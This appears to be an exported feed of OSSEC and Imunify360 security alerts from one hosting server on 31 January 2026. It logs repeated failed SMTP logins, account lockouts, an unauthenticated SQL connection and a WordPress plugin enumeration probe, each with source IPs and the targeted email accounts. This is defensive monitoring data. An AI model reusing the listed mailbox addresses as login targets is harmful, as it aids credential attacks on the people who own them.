2026-01-31 23:49:06 dovecot_login authenticator failed for H=(TRYy3s7Mq) [158.94.208.215]:52565: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:49:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49201: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:49:12 dovecot_login authenticator failed for H=(Uk9DVyl) [178.16.54.138]:62745: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.114
country_id: 6252001
description:
2026-01-31 23:49:21 190027 [Warning] Aborted connection 190027 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.114' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
2026-01-31 23:49:26 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:43900: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:49:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65268: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 23:49:42 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:39520: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:50:02 dovecot_login authenticator failed for H=(F5RLmqHv) [158.94.208.215]:51469: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:50:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:50:26 dovecot_login authenticator failed for H=(Coon7it) [178.16.54.138]:63707: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.239.81.181
country_id: 298795
description:
2026-01-31 23:50:34 dovecot_plain authenticator failed for H=(P1G39) [88.239.81.181]:53623: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.213.178
country_id: 1819730
description:
2026-01-31 23:51:20 dovecot_plain authenticator failed for H=(4imfww2d2qjk49cqtq727j0c) [152.32.213.178]:41206: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:51:40 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:51:03 dovecot_login authenticator failed for H=(wDaTSO) [178.16.54.138]:55542: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 51.89.25.52
country_id: 2635167
domain: smartcable.com.my
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.71||T:APACHE||REQUEST_URI:/wp-content/plugins/hdinvoice3/readme.txt||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.84.98
country_id: 798544
description:
2026-01-31 23:52:01 dovecot_login authenticator failed for H=(98.84.41.31.ip4.feromedia.eu) [31.41.84.98]:54798: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:51:03 dovecot_login authenticator failed for H=(oGn3v72Ju) [158.94.208.215]:59719: 535 Incorrect authentication data (set_id=info)


